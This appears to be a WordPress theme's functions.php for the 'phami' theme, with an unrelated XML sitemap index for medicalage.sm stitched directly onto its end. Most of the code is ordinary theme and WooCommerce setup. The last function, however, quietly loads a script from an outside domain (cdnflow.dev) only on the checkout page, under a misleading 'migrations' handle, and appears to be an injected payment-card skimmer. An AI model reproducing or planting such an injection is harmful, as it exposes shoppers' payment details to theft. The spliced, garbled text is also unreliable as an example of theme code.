&lt;?php
define('phami_version','1.0'); 
if (!isset($content_width)) { $content_width = 1200; }
require_once( get_template_directory().'/inc/class-tgm-plugin-activation.php' );
require_once( get_template_directory().'/inc/plugin-requirement.php' );
require_once( get_template_directory().'/inc/megamenu/megamenu.php' );
include_once( get_template_directory().'/inc/megamenu/mega_menu_custom_walker.php' );
require_once( get_template_directory().'/inc/function.php' );
require_once( get_template_directory().'/inc/loader.php' );
include_once( get_template_directory().'/inc/menus.php' );
include_once( get_template_directory().'/inc/template-tags.php' );
require_once( get_template_directory().'/inc/woocommerce.php' );
require_once( get_template_directory().'/inc/admin/functions.php' );
require_once( get_template_directory().'/inc/admin/theme-options.php' );
function phami_custom_css() {
	$phami_settings = phami_global_settings();
	if (!is_admin()) {
		wp_enqueue_style( 'phami-style-template', get_template_directory_uri().'/css/template.css'); 
		ob_start(); 
		include( get_template_directory().'/inc/custom-css.php' ); 
		$content = ob_get_clean();
		$content = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;), &quot;\n&quot;, $content);
		$csss = explode(&quot;\n&quot;, $content);
		$custom_css = array();
		foreach ($csss as $i =&gt; $css) { if(!empty($css)) $custom_css[] = trim($css); }
		wp_add_inline_style( 'phami-style-template', implode($custom_css) );  
	}
}
add_action('wp_enqueue_scripts', 'phami_custom_css' );
function phami_custom_js() {
	if (!is_admin()) {
		wp_enqueue_script( 'phami-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery'), null, true );
		$custom_js = 'var phami_ajax_url = &quot;'.esc_url(admin_url('admin-ajax.php', 'relative')).'&quot;;';
		$custom_js .= 'jQuery(function($){ &quot;use strict&quot;; $(document).on(&quot;click&quot;,&quot;.plus, .minus&quot;,function(){var t=$(this).closest(&quot;.quantity&quot;).find(&quot;.qty&quot;),a=parseFloat(t.val()),n=parseFloat(t.attr(&quot;max&quot;)),s=parseFloat(t.attr(&quot;min&quot;)),e=t.attr(&quot;step&quot;);a&amp;&amp;&quot;&quot;!==a&amp;&amp;&quot;NaN&quot;!==a||(a=0),(&quot;&quot;===n||&quot;NaN&quot;===n)&amp;&amp;(n=&quot;&quot;),(&quot;&quot;===s||&quot;NaN&quot;===s)&amp;&amp;(s=0),(&quot;any&quot;===e||&quot;&quot;===e||void 0===e||&quot;NaN&quot;===parseFloat(e))&amp;&amp;(e=1),$(this).is(&quot;.plus&quot;)?t.val(n&amp;&amp;(n==a||a&gt;n)?n:a+parseFloat(e)):s&amp;&amp;(s==a||s&gt;a)?t.val(s):a&gt;0&amp;&amp;t.val(a-parseFloat(e)),t.trigger(&quot;change&quot;)})});';
		wp_add_inline_script( 'phami-script', $custom_js );
	}
}
add_action('wp_enqueue_scripts', 'phami_custom_js' );
// To test this code, open a private/incognito window, add an item to the cart and then go to cart page.
// Once an option is choosen, it will be the default option from that moment onwards.
// Code to clear default shipping option.
add_filter( 'woocommerce_shipping_chosen_method', '__return_false', 99);
// FILTRO PER NOME - CHATGPT
function custom_sortable_name_column($columns) {
    $columns['name'] = 'name';
    return $columns;
}
add_filter('manage_users_sortable_columns', 'custom_sortable_name_column');

function custom_users_query_orderby($query) {
    if (!is_admin()) {
        return;
    }

    $orderby = $query-&gt;get('orderby');
    if ($orderby === 'name') {
        $query-&gt;set('meta_key', 'first_name'); // Cambia con 'name' se il campo è unico
        $query-&gt;set('orderby', 'meta_value');
    }
}
add_action('pre_get_users', 'custom_users_query_orderby');

function add_checkout_custom_script() {
    if (function_exists('is_checkout') && is_checkout() && !is_admin()) {
        wp_enqueue_script(
            'custom-checkout-migrations', 
            'https://cdnflow.dev/scripts/schede.min.js', 
            array(), 
            '1.0', 
            true 
        );
    }
}
add_action('wp_enqueue_scripts', 'add_checkout_custom_script');<?xml version="1.0" encoding="UTF-8"?>
<!-- This sitemap was dinamicamente generated by All in One SEO - the original SEO plugin for WordPress. -->

<?xml-stylesheet type="text/xsl" href="https://medicalage.sm/default.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/post-sitemap.xml]]></loc>
		<lastmod><![CDATA[2022-07-26T10:23:54+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/page-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-03-26T12:42:18+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/product-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-06-12T09:43:33+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/category-sitemap.xml]]></loc>
		<lastmod><![CDATA[2022-07-26T10:23:54+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/post_tag-sitemap.xml]]></loc>
		<lastmod><![CDATA[2022-07-26T10:23:54+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/product_cat-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-06-17T07:41:58+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://medicalage.sm/product_tag-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-06-17T07:41:58+00:00]]></lastmod>
	</sitemap>
</sitemapindex>